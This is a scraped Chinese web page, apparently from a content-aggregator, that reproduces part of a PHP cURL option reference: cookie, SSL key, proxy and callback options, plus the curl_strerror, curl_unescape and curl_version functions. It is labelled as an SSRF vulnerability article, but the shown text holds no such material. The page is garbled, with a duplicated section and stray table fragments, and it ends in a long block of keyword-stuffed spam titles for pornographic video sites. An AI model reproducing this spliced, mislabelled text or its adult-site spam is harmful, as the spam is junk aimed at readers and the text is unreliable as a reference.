    CURLOPT_COOKIEFILE包含 cookie 數(shù)據(jù)的文件名,cookie 文件的格式可以是 Netscape 格式,或者只是純 HTTP 頭部風(fēng)格,存入文件。如果文件名是空的,不會加載 cookie,但 cookie 的處理仍舊啟用。
    CURLOPT_COOKIEJAR連接結(jié)束后,比如,調(diào)用 curl_close 后,保存 cookie 信息的文件。
    CURLOPT_CUSTOMREQUESTHTTP 請求時,使用自定義的 Method 來代替"GET"或"HEAD"。對 "DELETE" 或者其他更隱蔽的 HTTP 請求有用。 有效值如 "GET","POST","CONNECT"等等;也就是說,不要在這里輸入整行 HTTP 請求。例如輸入"GET /index.html HTTP/1.0\r\n\r\n"是不正確的。 注意: 不確定服務(wù)器支持這個自定義方法則不要使用它。
    CURLOPT_DEFAULT_PROTOCOLURL不帶協(xié)議的時候,使用的默認(rèn)協(xié)議。cURL 7.45.0 中添加,自 PHP 7.0.7 起有效。
    CURLOPT_DNS_INTERFACESet the name of the network interface that the DNS resolver should bind to. This must be an interface name (not an address).Added in cURL 7.33.0. Available since PHP 7.0.7.
    CURLOPT_DNS_LOCAL_IP4Set the local IPv4 address that the resolver should bind to. The argument should contain a single numerical IPv4 address as a string.Added in cURL 7.33.0. Available since PHP 7.0.7.
    CURLOPT_DNS_LOCAL_IP6Set the local IPv6 address that the resolver should bind to. The argument should contain a single numerical IPv6 address as a string.Added in cURL 7.33.0. Available since PHP 7.0.7.
    CURLOPT_EGDSOCKET類似**CURLOPT_RANDOM_FILE**,除了一個Entropy Gathering Daemon套接字。
    CURLOPT_ENCODINGHTTP請求頭中"Accept-Encoding: "的值。 這使得能夠解碼響應(yīng)的內(nèi)容。 支持的編碼有"identity","deflate"和"gzip"。如果為空字符串"",會發(fā)送所有支持的編碼類型。在 cURL 7.10 中被加入。
    CURLOPT_FTPPORT這個值將被用來獲取供FTP"PORT"指令所需要的IP地址。 “PORT” 指令告訴遠(yuǎn)程服務(wù)器連接到我們指定的IP地址。這個字符串可以是純文本的IP地址、主機名、一個網(wǎng)絡(luò)接口名(UNIX下)或者只是一個’-'來使用默認(rèn)的 IP 地址。
    CURLOPT_INTERFACE發(fā)送的網(wǎng)絡(luò)接口(interface),可以是一個接口名、IP 地址或者是一個主機名。
    CURLOPT_KEYPASSWD使用 CURLOPT_SSLKEYCURLOPT_SSH_PRIVATE_KEYFILE 私鑰時候的密碼。在 cURL 7.16.1 中添加。
    CURLOPT_KRB4LEVELKRB4 (Kerberos 4) 安全級別。下面的任何值都是有效的(從低到高的順序):"clear"、"safe"、"confidential"、"private".。如果字符串以上這些,將使用"private"。 這個選項設(shè)置為 null 時將禁用 KRB4 安全認(rèn)證。目前 KRB4 安全認(rèn)證只能用于 FTP 傳輸。
    CURLOPT_LOGIN_OPTIONSCan be used to set protocol specific login options, such as the preferred authentication mechanism via “AUTH=NTLM” or “AUTH=*”, and should be used in conjunction with the CURLOPT_USERNAME option.Added in cURL 7.34.0. Available since PHP 7.0.7.
    CURLOPT_PINNEDPUBLICKEYSet the pinned public key. The string can be the file name of your pinned public key. The file format expected is “PEM” or “DER”. The string can also be any number of base64 encoded sha256 hashes preceded by “sha256//” and separated by “;”.Added in cURL 7.39.0. Available since PHP 7.0.7.
    CURLOPT_POSTFIELDS全部數(shù)據(jù)使用HTTP協(xié)議中的 “POST” 操作來發(fā)送。 要發(fā)送文件,在文件名前面加上@前綴并使用完整路徑。 文件類型可在文件名后以 ‘;type=mimetype’ 的格式指定。 這個參數(shù)可以是 urlencoded 后的字符串,類似’para1=val1&para2=val2&...’,也可以使用一個以字段名為鍵值,字段數(shù)據(jù)為值的數(shù)組。 如果value是一個數(shù)組,Content-Type頭將會被設(shè)置成multipart/form-data。 從 PHP 5.2.0 開始,使用 @ 前綴傳遞文件時,value 必須是個數(shù)組。 從 PHP 5.5.0 開始, @ 前綴已被廢棄,文件可通過 CURLFile 發(fā)送。 設(shè)置 CURLOPT_SAFE_UPLOADtrue 可禁用 @ 前綴發(fā)送文件,以增加安全性。
    CURLOPT_PRIVATEAny data that should be associated with this cURL handle. This data can subsequently be retrieved with the CURLINFO_PRIVATE option of curl_getinfo(). cURL does nothing with this data. When using a cURL multi handle, this private data is typically a unique key to identify a standard cURL handle.Added in cURL 7.10.3.
    CURLOPT_PROXYHTTP 代理通道。
    CURLOPT_PROXY_SERVICE_NAME代理驗證服務(wù)的名稱。cURL 7.34.0 中添加,PHP 7.0.7 起有效。
    CURLOPT_PROXYUSERPWD一個用來連接到代理的"[username]:[password]"格式的字符串。
    CURLOPT_RANDOM_FILE一個被用來生成 SSL 隨機數(shù)種子的文件名。
    CURLOPT_RANGE以"X-Y"的形式,其中X和Y都是可選項獲取數(shù)據(jù)的范圍,以字節(jié)計。HTTP傳輸線程也支持幾個這樣的重復(fù)項中間用逗號分隔如"X-Y,N-M"。
    CURLOPT_REFERER在HTTP請求頭中"Referer: "的內(nèi)容。
    CURLOPT_SERVICE_NAME驗證服務(wù)的名稱cURL 7.43.0 起添加,自 PHP 7.0.7 有效。
    CURLOPT_SSH_HOST_PUBLIC_KEY_MD5包含 32 位長的 16 進(jìn)制數(shù)值。這個字符串應(yīng)該是遠(yuǎn)程主機公鑰(public key) 的 MD5 校驗值。在不匹配的時候 libcurl 會拒絕連接。 此選項僅用于 SCP 和 SFTP 的傳輸。cURL 7.17.1 中添加。
    CURLOPT_SSH_PUBLIC_KEYFILEThe file name for your public key. If not used, libcurl defaults to $HOME/.ssh/id_dsa.pub if the HOME environment variable is set, and just “id_dsa.pub” in the current directory if HOME is not set.Added in cURL 7.16.1.
    CURLOPT_SSH_PRIVATE_KEYFILEThe file name for your private key. If not used, libcurl defaults to $HOME/.ssh/id_dsa if the HOME environment variable is set, and just “id_dsa” in the current directory if HOME is not set. If the file is password-protected, set the password with CURLOPT_KEYPASSWD.Added in cURL 7.16.1.
    CURLOPT_SSL_CIPHER_LIST一個SSL的加密算法列表。例如RC4-SHA和TLSv1都是可用的加密列表。
    CURLOPT_SSLCERT一個包含 PEM 格式證書的文件名。
    CURLOPT_SSLCERTPASSWD使用**CURLOPT_SSLCERT**證書需要的密碼。
    CURLOPT_SSLCERTTYPE證書的類型。支持的格式有"PEM" (默認(rèn)值), "DER"和"ENG"。在 cURL 7.9.3中 被加入。
    CURLOPT_SSLENGINE用來在**CURLOPT_SSLKEY**中指定的SSL私鑰的加密引擎變量。
    CURLOPT_SSLENGINE_DEFAULT用來做非對稱加密操作的變量。
    CURLOPT_SSLKEY包含 SSL 私鑰的文件名。
    CURLOPT_SSLKEYPASSWD在 **CURLOPT_SSLKEY**中指定了的SSL私鑰的密碼。 注意: 由于這個選項包含了敏感的密碼信息,記得保證這個PHP腳本的安全。
    CURLOPT_SSLKEYTYPE**CURLOPT_SSLKEY**中規(guī)定的私鑰的加密類型,支持的密鑰類型為"PEM"(默認(rèn)值)、"DER"和"ENG"。
    CURLOPT_UNIX_SOCKET_PATH使用 Unix 套接字作為連接,并用指定的 string 作為路徑。cURL 7.40.0 中添加, PHP 7.0.7 起有效。
    CURLOPT_URL需要獲取的 URL 地址,也可以在curl_init() 初始化會話的時候。
    CURLOPT_USERAGENT在HTTP請求中包含一個"User-Agent: "頭的字符串。
    CURLOPT_USERNAME驗證中使用的用戶名。cURL 7.19.1 中添加,PHP 5.5.0 起有效。
    CURLOPT_USERPWD傳遞一個連接中需要的用戶名和密碼,格式為:"[username]:[password]"。
    CURLOPT_XOAUTH2_BEARER指定 OAuth 2.0 access token。cURL 7.33.0 中添加,自 PHP 7.0.7 添加。

    以下option,value應(yīng)該被設(shè)置成數(shù)組:

    選項可選value值備注
    CURLOPT_CONNECT_TO連接到指定的主機和端口,替換 URL 中的主機和端口。接受指定字符串格式的數(shù)組: HOST:PORT:CONNECT-TO-HOST:CONNECT-TO-PORT。cURL 7.49.0 中添加, PHP 7.0.7 起有效。
    CURLOPT_HTTP200ALIASESHTTP 200 響應(yīng)碼數(shù)組,數(shù)組中的響應(yīng)碼被認(rèn)為是正確的響應(yīng),而非錯誤。在 cURL 7.10.3 中被加入。
    CURLOPT_HTTPHEADER設(shè)置 HTTP 頭字段的數(shù)組。格式: array('Content-type: text/plain', 'Content-length: 100')
    CURLOPT_POSTQUOTE在 FTP 請求執(zhí)行完成后,在服務(wù)器上執(zhí)行的一組array格式的 FTP 命令。
    CURLOPT_PROXYHEADER傳給代理的自定義 HTTP 頭。cURL 7.37.0 中添加,自 PHP 7.0.7 添加。
    CURLOPT_QUOTE一組先于 FTP 請求的在服務(wù)器上執(zhí)行的FTP命令。
    CURLOPT_RESOLVE提供自定義地址,指定了主機和端口。 包含主機、端口和 ip 地址的字符串,組成 array 的,每個元素以冒號分隔。格式: array("example.com:80:127.0.0.1")在 cURL 7.21.3 中添加,自 PHP 5.5.0 起可用。

    以下 option,value應(yīng)該被設(shè)置成流資源 (例如使用fopen()):

    選項可選value值
    CURLOPT_FILE設(shè)置輸出文件,默認(rèn)為STDOUT (瀏覽器)。
    CURLOPT_INFILE上傳文件時需要讀取的文件。
    CURLOPT_STDERR錯誤輸出的地址,取代默認(rèn)的STDERR。
    CURLOPT_WRITEHEADER設(shè)置 header 部分內(nèi)容的寫入的文件地址。

    以下option 的 value應(yīng)該是有效的函數(shù)或者閉包:

    選項value值
    CURLOPT_HEADERFUNCTION設(shè)置一個回調(diào)函數(shù),這個函數(shù)有兩個參數(shù),第一個是cURL的資源句柄,第二個是輸出的 header 數(shù)據(jù)。header數(shù)據(jù)的輸出必須依賴這個函數(shù),返回已寫入的數(shù)據(jù)大小。
    CURLOPT_PASSWDFUNCTION設(shè)置一個回調(diào)函數(shù),有三個參數(shù),第一個是cURL的資源句柄,第二個是一個密碼提示符,第三個參數(shù)是密碼長度允許的最大值。返回密碼的值。
    CURLOPT_PROGRESSFUNCTION設(shè)置一個回調(diào)函數(shù),有五個參數(shù),第一個是cURL的資源句柄,第二個是預(yù)計要下載的總字節(jié)(bytes)數(shù)。第三個是目前下載的字節(jié)數(shù),第四個是預(yù)計傳輸中總上傳字節(jié)數(shù),第五個是目前上傳的字節(jié)數(shù)。 注意: 只有設(shè)置 CURLOPT_NOPROGRESS 選項為 false 時才會調(diào)用這個回調(diào)函數(shù)。 返回非零值將中斷傳輸。 傳輸將設(shè)置 CURLE_ABORTED_BY_CALLBACK 錯誤。
    CURLOPT_READFUNCTION回調(diào)函數(shù)名。該函數(shù)應(yīng)接受三個參數(shù)。第一個是 cURL resource;第二個是通過選項 CURLOPT_INFILE 傳給 cURL 的 stream resource;第三個參數(shù)是最大可以讀取的數(shù)據(jù)的數(shù)量。回 調(diào)函數(shù)必須返回一個字符串,長度小于或等于請求的數(shù)據(jù)量(第三個參數(shù))。一般從傳入的 stream resource 讀取。返回空字符串作為 EOF(文件結(jié)束) 信號。
    CURLOPT_WRITEFUNCTION回調(diào)函數(shù)名。該函數(shù)應(yīng)接受兩個參數(shù)。第一個是 cURL resource;第二個是要寫入的數(shù)據(jù)字符串。數(shù) 據(jù)必須在函數(shù)中被保存。 函數(shù)必須準(zhǔn)確返回寫入數(shù)據(jù)的字節(jié)數(shù),否則傳輸會被一個錯誤所中 斷。

    其他值:

    Option設(shè)置 value 為
    CURLOPT_SHAREcurl_share_init() 返回的結(jié)果。 使 cURL 可以處理共享句柄里的數(shù)據(jù)。

    14、curl_strerror

    返回錯誤代碼的字符串描述

    curl_strerror(int $errornum): string 返回文本錯誤信息,解釋了指定的錯誤代碼。 返回錯誤信息描述,無效的錯誤代碼返回 null 。

    15、curl_unescape

    解碼給定的 URL 編碼的字符串

    curl_unescape(resource $ch, string $str): string 該函數(shù)解碼給定的 URL 編碼的字符串。 str:需要解碼的 URL 編碼字符串

    16、curl_version

    獲取 cURL 版本信息

    curl_version(int $age = CURLVERSION_NOW): array 返回關(guān)于 cURL 版本的信息。

    這個回調(diào)函數(shù)。 返回非零值將中斷傳輸。 傳輸將設(shè)置 CURLE_ABORTED_BY_CALLBACK 錯誤。 |
    | CURLOPT_READFUNCTION | 回調(diào)函數(shù)名。該函數(shù)應(yīng)接受三個參數(shù)。第一個是 cURL resource;第二個是通過選項 CURLOPT_INFILE 傳給 cURL 的 stream resource;第三個參數(shù)是最大可以讀取的數(shù)據(jù)的數(shù)量。回 調(diào)函數(shù)必須返回一個字符串,長度小于或等于請求的數(shù)據(jù)量(第三個參數(shù))。一般從傳入的 stream resource 讀取。返回空字符串作為 EOF(文件結(jié)束) 信號。 |
    | CURLOPT_WRITEFUNCTION | 回調(diào)函數(shù)名。該函數(shù)應(yīng)接受兩個參數(shù)。第一個是 cURL resource;第二個是要寫入的數(shù)據(jù)字符串。數(shù) 據(jù)必須在函數(shù)中被保存。 函數(shù)必須準(zhǔn)確返回寫入數(shù)據(jù)的字節(jié)數(shù),否則傳輸會被一個錯誤所中 斷。 |

    其他值:

    Option設(shè)置 value 為
    CURLOPT_SHAREcurl_share_init() 返回的結(jié)果。 使 cURL 可以處理共享句柄里的數(shù)據(jù)。

    14、curl_strerror

    返回錯誤代碼的字符串描述

    curl_strerror(int $errornum): string 返回文本錯誤信息,解釋了指定的錯誤代碼。 返回錯誤信息描述,無效的錯誤代碼返回 null 。

    15、curl_unescape

    解碼給定的 URL 編碼的字符串

    curl_unescape(resource $ch, string $str): string 該函數(shù)解碼給定的 URL 編碼的字符串。 str:需要解碼的 URL 編碼字符串

    16、curl_version

    獲取 cURL 版本信息

    curl_version(int $age = CURLVERSION_NOW): array 返回關(guān)于 cURL 版本的信息。

    總結(jié)

    以上是生活随笔為你收集整理的SSRF漏洞详解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

    久久久免费观看视频 | 亚洲一区二区黄色 | 天天av综合网| 91伊人久久大香线蕉蜜芽人口 | 日韩精品观看 | 国产老妇av | av三级av | 久草在线视频在线观看 | 久久人人爽爽人人爽人人片av | 97精品欧美91久久久久久 | 成年人在线观看免费视频 | 99热这里有精品 | 亚洲国产99 | 青青河边草免费直播 | 在线观看免费一区 | 色是在线视频 | 嫩嫩影院理论片 | 日韩乱码中文字幕 | 香蕉影视 | 1000部国产精品成人观看 | 99资源网| 国产精品白丝jk白祙 | 国产精品女 | 美女视频网 | 一区二区三区四区五区在线 | 美女视频黄色免费 | 一本一道久久a久久精品 | 激情五月视频 | 亚洲综合视频在线播放 | 青草视频在线播放 | 97碰在线 | 国产亚洲人成网站在线观看 | 91精品国产乱码久久桃 | 国产在线a不卡 | 亚洲精品18p | 免费a级观看 | 日日干夜夜操视频 | 亚洲精品美女在线观看 | 日韩精品一区二区在线观看 | 久久1区| 男女男视频| 91精品国产高清自在线观看 | 2020天天干夜夜爽 | 91中文字幕在线观看 | 中文字幕精品在线 | 国产一区二区视频在线播放 | 国产精久久久 | 这里只有精彩视频 | 五月婷婷开心中文字幕 | 国产精品99在线播放 | 九九久久免费 | 国产综合精品久久 | 成人免费一级 | 亚洲精品18日本一区app | 国产999精品久久久久久麻豆 | 一级免费片 | 精品国产一区二区三区噜噜噜 | 国产视频亚洲视频 | 久久9999久久免费精品国产 | 欧美一区二区三区四区夜夜大片 | 成人久久免费 | 亚州精品视频 | 看国产黄色大片 | 久久不射影院 | 九色精品 | 亚洲精品国产第一综合99久久 | 国产精品资源在线 | 日韩av电影免费在线观看 | 久久99国产精品视频 | 亚洲成人精品国产 | 国产丝袜制服在线 | 国产黄色片在线 | 一本一本久久a久久精品综合妖精 | 美女网站黄在线观看 | 色五丁香 | 国产成人99久久亚洲综合精品 | 亚洲a资源 | 国产精品久久久久aaaa九色 | 中文字幕视频在线播放 | 韩国av在线播放 | 国产专区精品视频 | 草莓视频在线观看免费观看 | 日韩一级电影在线 | 草久在线视频 | 国产精品久久在线观看 | 免费福利小视频 | 免费精品 | 干综合网| 99视频这里只有 | 精品视频免费久久久看 | 国产99久久久国产精品免费看 | 天堂久色 | 亚洲精品视频久久 | 激情综合狠狠 | 可以免费观看的av片 | 国产在线视频资源 | 在线免费观看黄色小说 | 日韩在线视频一区二区三区 | 免费色视频网站 | av福利资源 | 国产一区视频在线播放 | 中国美女一级看片 | 99久久精品视频免费 | 久久不射电影院 | 新版资源中文在线观看 | 一区在线观看 | 国产麻豆精品传媒av国产下载 | 久操视频在线观看 | 欧美精品v国产精品v日韩精品 | 亚洲精品视频在线观看网站 | 91精品对白一区国产伦 | 911国产精品 | 日本中文字幕在线看 | 91成人精品视频 | 人成午夜视频 | 97超碰资源总站 | 在线色亚洲 | 久久精品国亚洲 | 热久久国产 | 在线国产小视频 | 91综合色| 久久成人免费 | 国产99视频在线观看 | 91久久国产自产拍夜夜嗨 | 久久久精品午夜 | 九九视频免费在线观看 | 天天操天天摸天天爽 | 黄色av一级| 久久久亚洲成人 | 午夜视频免费在线观看 | 色综合天天视频在线观看 | 国产69久久久 | www.国产视频 | 免费av免费观看 | 中文字幕大全 | 四虎成人av | 久久理论片 | av先锋中文字幕 | 91网站观看| 国产精品久久久久久久久久久免费 | 精品免费观看视频 | 国产中文字幕网 | 天天草av | 亚洲精品国产麻豆 | 日韩免费在线观看 | 国产手机在线视频 | 国产视频在线播放 | 国产精品美女999 | 人人爱人人舔 | 美女黄视频免费看 | 2024av | 久久精品在线免费观看 | 在线观看香蕉视频 | 91av影视| 成人在线你懂得 | 黄色小网站免费看 | 亚洲欧美成aⅴ人在线观看 四虎在线观看 | 日本中文字幕系列 | 精品一区二区在线观看 | 国产精品白丝jk白祙 | 99久久er热在这里只有精品15 | 国产一区二区三区免费视频 | 久久精品8| 日韩电影一区二区在线观看 | 一二三区高清 | 久久综合操 | 国产在线观看免 | 久久视频精品在线观看 | 一区二区三区在线免费播放 | 亚洲久草在线 | 亚洲黄色在线 | 国产精品一区二区久久国产 | 色婷婷九月 | 99re亚洲国产精品 | 亚洲精品玖玖玖av在线看 | 精品日韩中文字幕 | 精品在线视频一区 | 骄小bbw搡bbbb揉bbbb | 亚洲精品资源 | 在线成人国产 | 在线中文字幕av观看 | 成人91在线观看 | 国产精品久久久精品 | 91久久丝袜国产露脸动漫 | 三级黄色片子 | 日韩黄色在线电影 | 国产精品久久久久三级 | 黄污视频网站大全 | 五月综合| 91九色蝌蚪国产 | 激情综合网五月婷婷 | 欧美精品一级视频 | 天天操操操操操操 | 亚洲人成免费 | 精品免费 | 国产a国产a国产a | 久久精品国产精品 | 伊人五月天 | 91在线视频免费播放 | 国产精品你懂的在线观看 | 午夜视频在线观看一区 | 色综合久久悠悠 | 亚洲国产精品电影 | 中中文字幕av在线 | 五月婷影院 | 欧美婷婷综合 | 狠狠操狠狠插 | 久草在线视频看看 | 中文字幕一区二区三区精华液 | 国产色婷婷精品综合在线手机播放 | 91免费在线视频 | 国产黄色精品在线 | 国产精品亚洲视频 | 99色人| 欧美va天堂va视频va在线 | 久久99久久久久 | 亚一亚二国产专区 | 色婷婷综合在线 | 亚洲国产精品成人女人久久 | 色欧美综合 | 日韩色爱| 国产99久久久国产精品免费看 | 国产精品不卡一区 | 国产成人精品av在线 | 国产一级性生活 | 九月婷婷色 | 国产91大片| 亚洲精品九九 | 亚洲成年片 | 日韩中文字幕电影 | 久久一区二区三区超碰国产精品 | www.夜夜爱 | 特级西西444www高清大视频 | 国产97在线播放 | 狠狠亚洲 | av电影免费在线看 | 国产在线精品区 | 久久免费一| 狠狠88综合久久久久综合网 | 2021国产精品视频 | 一区二区三区免费在线观看视频 | av免费福利 | 国产福利免费看 | 美女性爽视频国产免费app | 嫩草av在线 | av综合站| 在线观看视频福利 | 韩国精品一区二区三区六区色诱 | 久久久精品欧美一区二区免费 | 91激情视频在线观看 | 色悠悠久久综合 | 欧美精品色 | 人人超碰97| 日本激情中文字幕 | 亚洲成人免费观看 | 999国内精品永久免费视频 | 日韩激情小视频 | 日韩电影久久久 | 日韩av一卡二卡三卡 | 国产偷v国产偷∨精品视频 在线草 | 午夜影视剧场 | 激情在线网址 | 综合伊人av | 日韩欧美一区二区三区视频 | 成人免费在线视频观看 | 五月天婷婷综合 | 日韩欧美在线第一页 | 在线直播av | 亚洲精品一区二区网址 | 在线免费黄网站 | 婷婷色五 | 在线99| 97高清视频 | 开心丁香婷婷深爱五月 | 五月天丁香亚洲 | 国产精品久久久久影视 | 在线观看av小说 | 久草在线视频免费资源观看 | 久久不射网站 | 日韩电影一区二区三区在线观看 | 丁香花在线观看免费完整版视频 | 天天激情综合网 | 7777精品伊人久久久大香线蕉 | 国产精品久久一卡二卡 | 日韩激情三级 | 成人污视频在线观看 | 手机版av在线 | www.天堂av| 欧美日韩二三区 | 黄色免费观看视频 | 激情av综合 | 久久精品一区二区三区中文字幕 | 99r国产精品 | 五月激情姐姐 | 色婷婷av在线 | 欧美日韩三级在线观看 | 男女拍拍免费视频 | av资源免费观看 | 午夜精品一区二区三区四区 | 91精品啪在线观看国产81旧版 | 99视频精品在线 | 特级毛片网 | 美女黄久久| 视色网站 | 日韩美在线 | 久久久久夜色 | 国产69精品久久久久99尤 | 亚洲国产日韩一区 | 成人免费在线观看电影 | 久草国产在线观看 | .国产精品成人自产拍在线观看6 | 久久综合影音 | 一级黄色在线免费观看 | 日韩免费一区二区在线观看 | 国产免费观看久久黄 | 亚洲一级二级三级 | 久久国产精品一区二区 | 黄色最新网址 | 狠狠狠色丁香综合久久天下网 | 欧美一区二视频在线免费观看 | av网站在线观看播放 | 久草国产在线观看 | 91最新中文字幕 | 国产精品自产拍在线观看蜜 | 五月婷社区| 97视频在线看 | 欧美日韩视频在线观看一区二区 | 在线观看精品 | 天天综合天天做天天综合 | 色综合色综合久久综合频道88 | 极品美女被弄高潮视频网站 | 婷婷丁香九月 | 亚洲欧美国产精品18p | 国产一级一片免费播放放 | 一级片免费观看 | 亚洲日本一区二区在线 | 欧美极度另类 | 玖玖精品在线 | 91在线公开视频 | 少妇视频在线播放 | a在线免费观看视频 | 中文字幕av全部资源www中文字幕在线观看 | 手机看片国产日韩 | 黄色av一级片| 国产伦精品一区二区三区无广告 | 狠狠精品| 美女国产在线 | 九色91av | 日本少妇高清做爰视频 | 又爽又黄又无遮挡网站动态图 | 国产视频不卡 | 狠狠色狠狠色 | 久久刺激视频 | 一本一道久久a久久综合蜜桃 | 69精品在线 | 久久精品一区二区三区中文字幕 | av在线播放观看 | 最近日本中文字幕 | 欧美激情第十页 | 狠狠干在线播放 | 国产黄色一级片在线 | 欧美一区二区三区在线视频观看 | 午夜在线国产 | 91精品国产高清自在线观看 | 亚洲天堂精品视频在线观看 | 久久综合色婷婷 | 欧美色图30p| 国产又黄又爽又猛视频日本 | 一区二区视频播放 | 久久国产精品免费一区 | 在线日韩中文 | 在线中文视频 | 手机在线欧美 | 亚洲国产小视频在线观看 | 天天操天天吃 | 欧美精品一区二区蜜臀亚洲 | 精品久久久久久国产 | 日韩天天操 | 日韩免费视频线观看 | 久久精品美女视频网站 | 在线观看激情av | 国产精久久久久久妇女av | 亚洲人成网站精品片在线观看 | 国产精品久久久久久高潮 | 丝袜美腿在线视频 | 午夜精品电影一区二区在线 | 午夜精品av| 在线观看一区 | 91九色视频在线播放 | 久久免费黄色大片 | 99久久精品久久亚洲精品 | 亚洲综合小说电影qvod | 日本久久免费电影 | 国色天香av| 久久午夜免费观看 | 国产精品孕妇 | 98久久| 国产精品久久久99 | 欧美福利精品 | 亚洲视频网站在线观看 | 999久久久久久久久 69av视频在线观看 | 精品日韩在线 | 最新超碰在线 | 九九热在线观看视频 | 99精品在线视频播放 | 国产视频久久久 | 中文字幕在线网址 | 久久久91精品国产一区二区精品 | 欧美性生交大片免网 | 精品视频免费播放 | av色影院| 午夜在线观看 | 人人玩人人添人人澡97 | 91在线porny国产在线看 | 日韩av不卡在线 | 欧美日韩在线播放一区 | 综合久久综合久久 | 91av在| 日韩免费中文字幕 | 久久久男人的天堂 | 深爱激情综合 | 成人在线观看日韩 | 欧美日韩性生活 | 91精品在线播放 | 日韩在线中文字幕 | 国产精品一区二区62 | 久久精品免费电影 | 日韩一区二区三区观看 | 成人av在线直播 | 日韩毛片久久久 | 国产精品久久久久久久久久 | 久久久久在线观看 | av中文国产 | 国产日韩精品久久 | 国产精品女同一区二区三区久久夜 | 国产 欧美 日韩 | 亚洲精品成人在线 | 国产精在线 | 国产一在线精品一区在线观看 | 国产精品96久久久久久吹潮 | 日本中文字幕电影在线免费观看 | 成年人电影免费看 | a级国产乱理伦片在线播放 久久久久国产精品一区 | 人人澡人人干 | 婷婷在线五月 | 亚洲综合欧美日韩狠狠色 | 911av视频| 国产99久久久国产精品免费二区 | 人人添人人澡人人澡人人人爽 | 欧美久久久| 日本中文字幕网 | 久久久黄视频 | 人人澡人人澡人人 | 九九99视频| 午夜精品av| av电影亚洲 | 国产视频精品免费 | 久久精品爱爱视频 | 激情 婷婷| 国产精品高 | 99婷婷狠狠成为人免费视频 | 97超碰成人| 亚洲理论片在线观看 | 国产精品大片在线观看 | 四虎在线免费观看 | 特级西西www44高清大胆图片 | 国产在线高清精品 | 黄色avwww| 不卡的av在线 | 久久都是精品 | 九九色视频 | 视频精品一区二区三区 | 成年人在线免费看视频 | av在线最新| 草免费视频 | 久久亚洲私人国产精品va | 午夜电影中文字幕 | 久久久久久免费网 | 成人h视频在线播放 | 在线 精品 国产 | 国产精品成人一区二区三区吃奶 | 久久国产免费视频 | 91精品免费在线观看 | 友田真希av | 玖玖999| 免费色视频在线 | 四虎精品成人免费网站 | 亚洲日本精品 | 免费一级特黄录像 | 欧美日韩高清不卡 | 久久亚洲私人国产精品 | 精品一二三四在线 | 夜夜躁日日躁狠狠久久av | 在线观看免费视频你懂的 | 97超碰成人 | 黄网站色成年免费观看 | 婷婷丁香在线观看 | 黄色字幕网 | 伊人网av| 国产在线91精品 | 国产精品mv在线观看 | 一区二区三区三区在线 | 国产精品九九久久久久久久 | 午夜精品久久久久久中宇69 | 久久久免费精品国产一区二区 | 最新av电影网站 | 首页av在线 | 亚洲一二三在线 | 久久五月精品 | 全久久久久久久久久久电影 | 成年人免费看片网站 | av三级在线播放 | 成人av影视在线 | 日韩欧美一区二区在线 | 日韩美在线 | 麻豆视频一区二区 | 国产一级不卡视频 | 五月天激情视频在线观看 | 久热免费在线 | 午夜精品一区二区三区在线 | 欧美在线观看视频一区二区 | 美女黄久久 | 日韩高清观看 | 婷婷成人综合 | 国产精品女同一区二区三区久久夜 | 最近中文字幕大全中文字幕免费 | 超碰在线中文字幕 | 日韩成人在线一区二区 | 日韩精品最新在线观看 | 成人aⅴ视频 | 在线免费观看黄色 | 人人插人人插 | 中文字幕精品一区 | 国产精品成人一区二区三区吃奶 | 人人爽人人澡人人添人人人人 | 黄色影院在线免费观看 | 午夜99| 日韩精品一区二区三区三炮视频 | 涩涩伊人| 久久亚洲精品国产亚洲老地址 | 在线观看黄色大片 | 精品亚洲男同gayvideo网站 | 欧美 日韩 久久 | 久久精品国产v日韩v亚洲 | 永久免费精品视频网站 | 91丨九色丨高潮丰满 | www.在线观看视频 | 色香蕉网 | 欧美日韩久久不卡 | 在线观看深夜福利 | 久久在线观看 | 国产精品电影一区 | 日韩免费一区二区三区 | 国产精品毛片久久久久久 | 黄色影院在线免费观看 | 久久国产一区二区 | 日韩视频在线观看免费 | 欧美精品亚洲精品日韩精品 | 99热这里有 | 色狠狠久久av五月综合 | 黄色.com| 九九热在线观看 | 欧美91精品久久久久国产性生爱 | 午夜狠狠操 | 亚洲综合五月 | 最近中文字幕高清字幕在线视频 | 日日夜操| 日韩电影在线观看一区二区 | 国产精品免费一区二区三区 | 日韩免费看片 | 偷拍区另类综合在线 | 麻豆一二 | 国产精品一区二区av | 九九九免费视频 | 日韩精品久久久免费观看夜色 | 少妇bbb| 婷婷国产v亚洲v欧美久久 | 国产免费a | 伊人狠狠干 | 91片黄在线观看动漫 | 国产又粗又猛又黄又爽的视频 | 国产一级a毛片视频爆浆 | 国产精品成人免费一区久久羞羞 | 啪啪肉肉污av国网站 | 久久综合久久综合久久 | 99精品在线视频播放 | 久久久久综合精品福利啪啪 | 精品高清视频 | 国产区精品区 | 亚洲成人黄| 天天操天天干天天操天天干 | 免费观看视频黄 | 夜夜躁日日躁狠狠久久av | 久久久久女人精品毛片九一 | 最近中文字幕高清字幕免费mv | 国产手机av在线 | 奇米影音四色 | 天天干一干 | 日韩免费一区二区 | 精品久久久99 | 欧美福利精品 | 9999免费视频| 久久国产品 | 精品国产一二区 | 麻豆视频免费观看 | 四虎永久国产精品 | av电影免费在线播放 | 超碰在线观看99 | 成年人视频免费在线播放 | 在线小视频 | 国产乱码精品一区二区蜜臀 | 日韩精品视频一二三 | 久久电影中文字幕视频 | 国产精品短视频 | 91亚洲狠狠婷婷综合久久久 | av色综合网 | 91精品毛片| 看全黄大色黄大片 | 99理论片| 欧美日韩二三区 | 色吊丝在线永久观看最新版本 | 一区二区三区免费网站 | 久99久在线| 免费情缘| 麻豆国产在线播放 | 午夜精品一区二区国产 | 亚洲黄色网络 | 女女av在线 | 日韩精品资源 | 国产精品色视频 | 日韩在线观看网址 | www日日 | 99草在线视频| 粉嫩av一区二区三区四区五区 | 在线观看免费中文字幕 | 国产精品视频app | 欧美色伊人 | 久久久久夜色 | 国产精品区二区三区日本 | 久久久久久久久毛片 | 九九导航 | 国产精品成人自拍 | 欧美日韩国产免费视频 | 欧美日韩久久不卡 | 97超视频在线观看 | 国产在线国偷精品产拍免费yy | 久久久精品国产一区二区三区 | 欧美国产日韩一区二区 | 在线性视频日韩欧美 | 精品国产电影一区二区 | 成人中文字幕av | 国产一区二区视频在线播放 | 精品视频一区在线观看 | 国产精品a久久久久 | zzijzzij亚洲日本少妇熟睡 | 99re6热在线精品视频 | 国产亚洲精品美女 | www91在线观看 | 亚洲欧美成aⅴ人在线观看 